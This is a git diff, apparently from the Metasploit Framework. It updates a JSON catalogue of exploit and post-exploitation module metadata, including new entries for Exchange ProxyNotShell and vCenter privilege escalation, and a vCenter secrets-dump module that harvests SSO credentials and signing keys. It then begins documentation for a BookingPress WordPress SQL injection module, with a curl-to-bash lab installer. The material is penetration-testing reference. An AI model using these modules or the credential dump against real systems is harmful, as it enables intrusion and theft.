||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/syncovery_linux_login",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/synology_forget_passwd_user_enum": {
|
||||
"name": "Synology Forget Password User Enumeration Scanner",
|
||||
"fullname": "auxiliary/scanner/http/synology_forget_passwd_user_enum",
|
||||
@@ -35412,7 +35528,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2022-11-27 15:35:34 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/tomcat_mgr_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/tomcat_mgr_login",
|
||||
@@ -47037,7 +47153,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2022-11-01 14:22:49 +0000",
|
||||
"path": "/modules/auxiliary/scanner/snmp/snmp_enum.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/snmp/snmp_enum",
|
||||
@@ -47117,7 +47233,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-11-01 14:22:49 +0000",
|
||||
"path": "/modules/auxiliary/scanner/snmp/snmp_enumshares.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/snmp/snmp_enumshares",
|
||||
@@ -47155,7 +47271,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-11-01 14:22:49 +0000",
|
||||
"path": "/modules/auxiliary/scanner/snmp/snmp_enumusers.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/snmp/snmp_enumusers",
|
||||
@@ -51007,7 +51123,7 @@
|
||||
"author": [
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "This module provides a Rex based DNS service which can store static entries,\n resolve names over pivots, and serve DNS requests across routed session comms.\n DNS tunnels can operate across the the Rex switchboard, and DNS other modules\n can use this as a template. Setting static records via hostfile allows for DNS\n spoofing attacks without direct traffic manipulation at the handlers. handlers\n for requests and responses provided here mimic the internal Rex functionality,\n but utilize methods within this module's namespace to output content processed\n in the Proc contexts via vprint_status.",
|
||||
"description": "This module provides a Rex based DNS service which can store static entries,\n resolve names over pivots, and serve DNS requests across routed session comms.\n DNS tunnels can operate across the Rex switchboard, and DNS other modules\n can use this as a template. Setting static records via hostfile allows for DNS\n spoofing attacks without direct traffic manipulation at the handlers. handlers\n for requests and responses provided here mimic the internal Rex functionality,\n but utilize methods within this module's namespace to output content processed\n in the Proc contexts via vprint_status.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -51021,7 +51137,7 @@
|
||||
"dns"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-03-09 13:31:46 +0000",
|
||||
"mod_time": "2022-12-04 17:41:24 +0000",
|
||||
"path": "/modules/auxiliary/server/dns/native_server.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/dns/native_server",
|
||||
@@ -62895,7 +63011,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2021-08-27 17:15:33 +0000",
|
||||
"mod_time": "2022-12-04 17:41:24 +0000",
|
||||
"path": "/modules/exploits/linux/http/gravcms_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/gravcms_exec",
|
||||
@@ -71132,7 +71248,7 @@
|
||||
"targets": [
|
||||
"Zimbra Collaboration Suite"
|
||||
],
|
||||
"mod_time": "2022-10-19 10:02:29 +0000",
|
||||
"mod_time": "2022-11-23 13:09:47 +0000",
|
||||
"path": "/modules/exploits/linux/http/zimbra_cpio_cve_2022_41352.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/zimbra_cpio_cve_2022_41352",
|
||||
@@ -71262,7 +71378,7 @@
|
||||
"targets": [
|
||||
"Zimbra Collaboration Suite"
|
||||
],
|
||||
"mod_time": "2022-08-17 10:19:36 +0000",
|
||||
"mod_time": "2022-12-06 15:07:28 +0000",
|
||||
"path": "/modules/exploits/linux/http/zimbra_unrar_cve_2022_30333.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/zimbra_unrar_cve_2022_30333",
|
||||
@@ -74051,7 +74167,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2022-10-08 09:50:25 +0000",
|
||||
"mod_time": "2022-11-25 15:13:57 +0000",
|
||||
"path": "/modules/exploits/linux/local/polkit_dbus_auth_bypass.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/polkit_dbus_auth_bypass",
|
||||
@@ -74880,7 +74996,7 @@
|
||||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2022-10-03 16:53:14 +0000",
|
||||
"mod_time": "2022-12-01 14:34:09 +0000",
|
||||
"path": "/modules/exploits/linux/local/ubuntu_enlightenment_mount_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/ubuntu_enlightenment_mount_priv_esc",
|
||||
@@ -75061,6 +75177,66 @@
|
||||
],
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/local/vcenter_java_wrapper_vmon_priv_esc": {
|
||||
"name": "VMware vCenter vScalation Priv Esc",
|
||||
"fullname": "exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 0,
|
||||
"disclosure_date": "2021-09-21",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die",
|
||||
"Yuval Lazar"
|
||||
],
|
||||
"description": "This module exploits a privilege escalation in vSphere/vCenter due to improper permissions on the\n /usr/lib/vmware-vmon/java-wrapper-vmon file. It is possible for anyone in the\n cis group to write to the file, which will execute as root on vmware-vmon service\n restart or host reboot.\n\n This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488.\n The following versions should be vulnerable:\n vCenter 7.0 before U2c\n vCenter 6.7 before U3o\n vCenter 6.5 before U3q",
|
||||
"references": [
|
||||
"URL-https://pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/",
|
||||
"CVE-2021-22015",
|
||||
"URL-https://www.vmware.com/security/advisories/VMSA-2021-0020.html"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "x86, x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2022-12-01 14:55:43 +0000",
|
||||
"path": "/modules/exploits/linux/local/vcenter_java_wrapper_vmon_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/vcenter_java_wrapper_vmon_priv_esc",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-service-down"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"config-changes",
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"AKA": [
|
||||
"vScalation"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/local/vmware_alsa_config": {
|
||||
"name": "VMware Workstation ALSA Config File Local Privilege Escalation",
|
||||
"fullname": "exploit/linux/local/vmware_alsa_config",
|
||||
@@ -98550,7 +98726,7 @@
|
||||
"Apache OpenOffice on Windows (PSH)",
|
||||
"Apache OpenOffice on Linux/OSX (Python)"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-11-30 22:10:18 +0000",
|
||||
"path": "/modules/exploits/multi/misc/openoffice_document_macro.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/misc/openoffice_document_macro",
|
||||
@@ -104558,7 +104734,7 @@
|
||||
"Unix Command",
|
||||
"BSD Dropper"
|
||||
],
|
||||
"mod_time": "2022-10-12 19:23:59 +0000",
|
||||
"mod_time": "2022-10-24 14:17:21 +0000",
|
||||
"path": "/modules/exploits/unix/http/pfsense_pfblockerng_webshell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/http/pfsense_pfblockerng_webshell",
|
||||
@@ -132172,7 +132348,7 @@
|
||||
"John Page (aka hyp3rlinx)",
|
||||
"Brenner Little"
|
||||
],
|
||||
"description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.\n User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of \".contact\" files <c:Url> node param which takes an expected website value, however if an attacker references an\n executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user.\n Executable files can live in a sub-directory so when the \".contact\" website link is clicked it traverses directories towards the executable and runs.\n Making matters worse is if the the files are compressed then downloaded \"mark of the web\" (MOTW) may potentially not work as expected with certain archive utilitys.\n The \".\\\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory.\n This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.",
|
||||
"description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.\n User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of \".contact\" files <c:Url> node param which takes an expected website value, however if an attacker references an\n executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user.\n Executable files can live in a sub-directory so when the \".contact\" website link is clicked it traverses directories towards the executable and runs.\n Making matters worse is if the files are compressed then downloaded \"mark of the web\" (MOTW) may potentially not work as expected with certain archive utilitys.\n The \".\\\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory.\n This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.",
|
||||
"references": [
|
||||
"EDB-46188",
|
||||
"URL-http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-CONTACT-FILE-INSUFFECIENT-UI-WARNING-WEBSITE-LINK-ARBITRARY-CODE-EXECUTION.txt",
|
||||
@@ -132190,7 +132366,7 @@
|
||||
"targets": [
|
||||
"Windows"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-12-04 17:41:24 +0000",
|
||||
"path": "/modules/exploits/windows/fileformat/microsoft_windows_contact.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/fileformat/microsoft_windows_contact",
|
||||
@@ -141080,7 +141256,7 @@
|
||||
"v9.2.0 - v9.2.1",
|
||||
"v9.2.2 - v9.3.0-RC"
|
||||
],
|
||||
"mod_time": "2022-03-10 10:28:25 +0000",
|
||||
"mod_time": "2022-12-04 17:50:24 +0000",
|
||||
"path": "/modules/exploits/windows/http/dnn_cookie_deserialization_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/dnn_cookie_deserialization_rce",
|
||||
@@ -142075,6 +142251,79 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_windows/http/exchange_proxynotshell_rce": {
|
||||
"name": "Microsoft Exchange ProxyNotShell RCE",
|
||||
"fullname": "exploit/windows/http/exchange_proxynotshell_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-09-28",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Orange Tsai",
|
||||
"Spencer McIntyre",
|
||||
"DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q",
|
||||
"Piotr Bazydło",
|
||||
"Rich Warren",
|
||||
"Soroush Dalili"
|
||||
],
|
||||
"description": "This module chains two vulnerabilities on Microsoft Exchange Server\n that, when combined, allow an authenticated attacker to interact with\n the Exchange Powershell backend (CVE-2022-41040), where a\n deserialization flaw can be leveraged to obtain code execution\n (CVE-2022-41082). This exploit only support Exchange Server 2019.\n\n These vulnerabilities were patched in November 2022.",
|
||||
"references": [
|
||||
"CVE-2022-41040",
|
||||
"CVE-2022-41082",
|
||||
"URL-https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend",
|
||||
"URL-https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/",
|
||||
"URL-https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9",
|
||||
"URL-https://rw.md/2022/11/09/ProxyNotRelay.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd, x64, x86",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows Dropper",
|
||||
"Windows Command"
|
||||
],
|
||||
"mod_time": "2022-11-28 10:06:14 +0000",
|
||||
"path": "/modules/exploits/windows/http/exchange_proxynotshell_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/exchange_proxynotshell_rce",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"AKA": [
|
||||
"ProxyNotShell"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/exchange_proxyshell_rce": {
|
||||
"name": "Microsoft Exchange ProxyShell RCE",
|
||||
"fullname": "exploit/windows/http/exchange_proxyshell_rce",
|
||||
@@ -142128,7 +142377,7 @@
|
||||
"Windows Dropper",
|
||||
"Windows Command"
|
||||
],
|
||||
"mod_time": "2021-11-10 11:12:38 +0000",
|
||||
"mod_time": "2022-12-02 15:55:10 +0000",
|
||||
"path": "/modules/exploits/windows/http/exchange_proxyshell_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/exchange_proxyshell_rce",
|
||||
@@ -151711,7 +151960,7 @@
|
||||
"targets": [
|
||||
"Adobe Reader X 10.1.4 / Windows 7 SP1"
|
||||
],
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-12-04 17:41:24 +0000",
|
||||
"path": "/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/adobe_sandbox_adobecollabsync",
|
||||
@@ -152433,7 +152682,7 @@
|
||||
"Windows x86",
|
||||
"Windows x64"
|
||||
],
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-12-04 17:41:24 +0000",
|
||||
"path": "/modules/exploits/windows/local/bypassuac_injection.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/bypassuac_injection",
|
||||
@@ -153093,7 +153342,7 @@
|
||||
"unamer",
|
||||
"timwr"
|
||||
],
|
||||
"description": "This module exploits CVE-2019-1458, an arbitrary pointer dereference vulnerability\n within win32k which occurs due to an uninitalized variable, which allows user mode attackers\n to write a limited amount of controlled data to an attacker controlled address\n in kernel memory. By utilizing this vulnerability to execute controlled writes\n to kernel memory, an attacker can gain arbitrary code execution\n as the SYSTEM user.\n\n This module has been tested against Windows 7 x64 SP1. Offsets within the\n exploit code may need to be adjusted to work with other versions of Windows.\n The exploit can only be triggered once against the target and can cause the\n target machine to reboot when the session is terminated.",
|
||||
"description": "This module exploits CVE-2019-1458, an arbitrary pointer dereference vulnerability\n within win32k which occurs due to an uninitalized variable, which allows user mode attackers\n to write a limited amount of controlled data to an attacker controlled address\n in kernel memory. By utilizing this vulnerability to execute controlled writes\n to kernel memory, an attacker can gain arbitrary code execution\n as the SYSTEM user.\n\n This module has been tested against Windows 7 x64 SP1. Offsets within the\n exploit code may need to be adjusted to work with other versions of Windows.\n The exploit can only be triggered once against the target and can cause the\n target machine to reboot when the session is terminated.",
|
||||
"references": [
|
||||
"CVE-2019-1458",
|
||||
"URL-https://github.com/unamer/CVE-2019-1458",
|
||||
@@ -153113,7 +153362,7 @@
|
||||
"targets": [
|
||||
"Windows 7 x64"
|
||||
],
|
||||
"mod_time": "2021-08-27 17:15:33 +0000",
|
||||
"mod_time": "2022-12-05 10:30:53 +0000",
|
||||
"path": "/modules/exploits/windows/local/cve_2019_1458_wizardopium.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/cve_2019_1458_wizardopium",
|
||||
@@ -153449,7 +153698,7 @@
|
||||
"targets": [
|
||||
"Windows x64"
|
||||
],
|
||||
"mod_time": "2021-09-08 21:56:02 +0000",
|
||||
"mod_time": "2022-12-05 10:30:53 +0000",
|
||||
"path": "/modules/exploits/windows/local/cve_2020_1313_system_orchestrator.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/cve_2020_1313_system_orchestrator",
|
||||
@@ -153457,6 +153706,16 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
@@ -153498,7 +153757,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2021-09-08 21:56:02 +0000",
|
||||
"mod_time": "2022-12-05 10:30:53 +0000",
|
||||
"path": "/modules/exploits/windows/local/cve_2020_1337_printerdemon.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/cve_2020_1337_printerdemon",
|
||||
@@ -153506,6 +153765,16 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
@@ -154558,7 +154827,7 @@
|
||||
"Windows XP SP2 / SP3",
|
||||
"Windows Server 2003 SP2"
|
||||
],
|
||||
"mod_time": "2021-09-08 21:56:02 +0000",
|
||||
"mod_time": "2022-12-05 10:30:53 +0000",
|
||||
"path": "/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/ms11_080_afdjoinleaf",
|
||||
@@ -154568,6 +154837,13 @@
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-os-restarts"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
@@ -161574,6 +161850,58 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/misc/remote_control_collection_rce": {
|
||||
"name": "Remote Control Collection RCE",
|
||||
"fullname": "exploit/windows/misc/remote_control_collection_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2022-09-20",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die",
|
||||
"H4rk3nz0"
|
||||
],
|
||||
"description": "This module utilizes the Remote Control Server's, part\n of the Remote Control Collection by Steppschuh, protocol\n to deploy a payload and run it from the server. This module will only deploy\n a payload if the server is set without a password (default).\n Tested against 3.1.1.12, current at the time of module writing",
|
||||
"references": [
|
||||
"URL-http://remote-control-collection.com",
|
||||
"URL-https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/remote%20control%20collection/remote-control-collection-rce.py"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64, x86",
|
||||
"rport": 1926,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"default"
|
||||
],
|
||||
"mod_time": "2022-10-28 15:03:39 +0000",
|
||||
"path": "/modules/exploits/windows/misc/remote_control_collection_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/misc/remote_control_collection_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"screen-effects"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_windows/misc/remote_mouse_rce": {
|
||||
"name": "Remote Mouse RCE",
|
||||
"fullname": "exploit/windows/misc/remote_mouse_rce",
|
||||
@@ -206748,15 +207076,20 @@
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 0,
|
||||
"rank": 300,
|
||||
"disclosure_date": "2022-04-15",
|
||||
"type": "post",
|
||||
"author": [
|
||||
"npm <npm@cesium137.io>"
|
||||
"npm <npm@cesium137.io>",
|
||||
"Erik Wynter",
|
||||
"h00die"
|
||||
],
|
||||
"description": "Grab secrets and keys from the vCenter server and add them to\n loot. This module is tested against the vCenter appliance only;\n it will not work on Windows vCenter instances. It is intended to\n be run after successfully acquiring root access on a vCenter\n appliance and is useful for penetrating further into the\n environment following a vCenter exploit that results in a root\n shell.\n\n Secrets include the dcAccountDN and dcAccountPassword for\n the vCenter machine which can be used for maniuplating the SSO\n domain via standard LDAP interface; good for plugging into the\n vmware_vcenter_vmdir_ldap module or for adding new SSO admin\n users. The MACHINE_SSL, VMCA_ROOT and SSO IdP certificates with\n associated private keys are also plundered and can be used to\n sign forged SAML assertions for the /ui admin interface.",
|
||||
"references": [
|
||||
|
||||
"URL-https://github.com/shmilylty/vhost_password_decrypt",
|
||||
"CVE-2022-22948",
|
||||
"URL-https://pentera.io/blog/information-disclosure-in-vmware-vcenter/",
|
||||
"URL-https://github.com/ErikWynter/metasploit-framework/blob/vcenter_gather_postgresql/modules/post/multi/gather/vmware_vcenter_gather_postgresql.rb"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "",
|
||||
@@ -206764,7 +207097,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-11-01 17:33:14 +0000",
|
||||
"mod_time": "2022-11-19 10:33:31 +0000",
|
||||
"path": "/modules/post/linux/gather/vcenter_secrets_dump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/gather/vcenter_secrets_dump",
|
||||
@@ -206776,11 +207109,10 @@
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
@@ -211637,7 +211969,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-07-20 17:21:58 +0000",
|
||||
"mod_time": "2022-11-29 21:28:15 +0000",
|
||||
"path": "/modules/post/windows/gather/checkvm.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/checkvm",
|
||||
@@ -211645,9 +211977,19 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter",
|
||||
"powershell",
|
||||
"shell"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
@@ -216485,7 +216827,7 @@
|
||||
"author": [
|
||||
"mubix <mubix@hak5.org>"
|
||||
],
|
||||
"description": "This module pulls a user's proxy settings. If neither RHOST or SID\n are set it pulls the current user, else it will pull the user's settings\n specified SID and target host.",
|
||||
"description": "This module pulls a user's proxy settings. If neither RHOST or SID\n are set it pulls the current user, else it will pull the user's settings\n for the specified SID and target host.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -216495,7 +216837,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-12-04 15:10:47 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_proxy.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_proxy",
|
||||
@@ -216503,9 +216845,20 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
"meterpreter",
|
||||
"powershell",
|
||||
"shell"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
@@ -219699,7 +220052,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2022-12-04 17:41:24 +0000",
|
||||
"path": "/modules/post/windows/manage/sticky_keys.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/sticky_keys",
|
||||
|
||||
@@ -0,0 +1,220 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The BookingPress WordPress plugin before 1.0.11 fails to properly sanitize user supplied data
|
||||
in the `total_service` parameter of the `bookingpress_front_get_category_services` AJAX action
|
||||
(available to unauthenticated users), prior to using it in a dynamically constructed SQL query.
|
||||
As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive
|
||||
data from the backend database such as usernames and password hashes.
|
||||
|
||||
This module uses this vulnerability to dump the list of WordPress users and their associated
|
||||
email addresses and password hashes for cracking offline.
|
||||
|
||||
### Setup
|
||||
#### Ubuntu 20.04 with Docksal
|
||||
Install Docksal:
|
||||
|
||||
```bash
|
||||
sudo apt update
|
||||
sudo apt install curl
|
||||
bash <(curl -fsSL https://get.docksal.io)
|
||||
sudo usermod -aG docker $USER
|
||||
```
|
||||
|
||||
Reboot the VM (Docksal needs to be able to run `docker` without sudo).
|
||||
|
||||
```bash
|
||||
msfuser@ubuntu:~$ fin project create
|
||||
1. Name your project (lowercase alphanumeric, underscore, and hyphen): msf
|
||||
|
||||
2. What would you like to install?
|
||||
PHP based
|
||||
1. Drupal 9 (Composer Version)
|
||||
2. Drupal 9 (BLT Version)
|
||||
3. Drupal 9
|
||||
4. Drupal 7
|
||||
5. Wordpress
|
||||
6. Magento
|
||||
7. Laravel
|
||||
8. Symfony Skeleton
|
||||
9. Symfony WebApp
|
||||
10. Grav CMS
|
||||
11. Backdrop CMS
|
||||
|
||||
Go based
|
||||
12. Hugo
|
||||
|
||||
JS based
|
||||
13. Gatsby JS
|
||||
14. Angular
|
||||
|
||||
HTML
|
||||
15. Static HTML site
|
||||
|
||||
Custom
|
||||
0. Custom git repository
|
||||
|
||||
|
||||
Enter your choice (0-15): 5
|
||||
|
||||
Project folder: /home/msfuser/msf
|
||||
Project software: Wordpress
|
||||
Source repo: https://github.com/docksal/boilerplate-wordpress.git
|
||||
Source branch: <default>
|
||||
Project URL: http://msf.docksal
|
||||
|
||||
Do you wish to proceed? [y/n]: y
|
||||
|
||||
...
|
||||
|
||||
Success: WordPress installed successfully.
|
||||
|
||||
real 0m10.112s
|
||||
user 0m0.327s
|
||||
sys 0m0.061s
|
||||
Open http://msf-wp.docksal in your browser to verify the setup.
|
||||
Admin panel: http://msf-wp.docksal/wp-admin. User/password: admin/admin
|
||||
DONE! Completed all initialization steps.
|
||||
```
|
||||
|
||||
Download a vulnerable version of BookingPress:
|
||||
`wget https://downloads.wordpress.org/plugin/bookingpress-appointment-booking.1.0.10.zip`
|
||||
|
||||
Navigate to the WordPress admin page that was just setup by Docksal at
|
||||
http://msf-wp.docksal/wp-admin and log in with the username `admin` and password `admin`.
|
||||
|
||||
Navigate to `Plugins` on the left hand menu, then select `Add New` then select `Upload Plugin`.
|
||||
|
||||
Select `Browse...` and browse to the `bookingpress-appointment-booking.1.0.10.zip` file just downloaded, click `Install Now`.
|
||||
|
||||
You should see the following output in the browser:
|
||||
|
||||
```
|
||||
Installing Plugin from uploaded file: bookingpress-appointment-booking.1.0.10.zip
|
||||
|
||||
Unpacking the package…
|
||||
|
||||
Installing the plugin…
|
||||
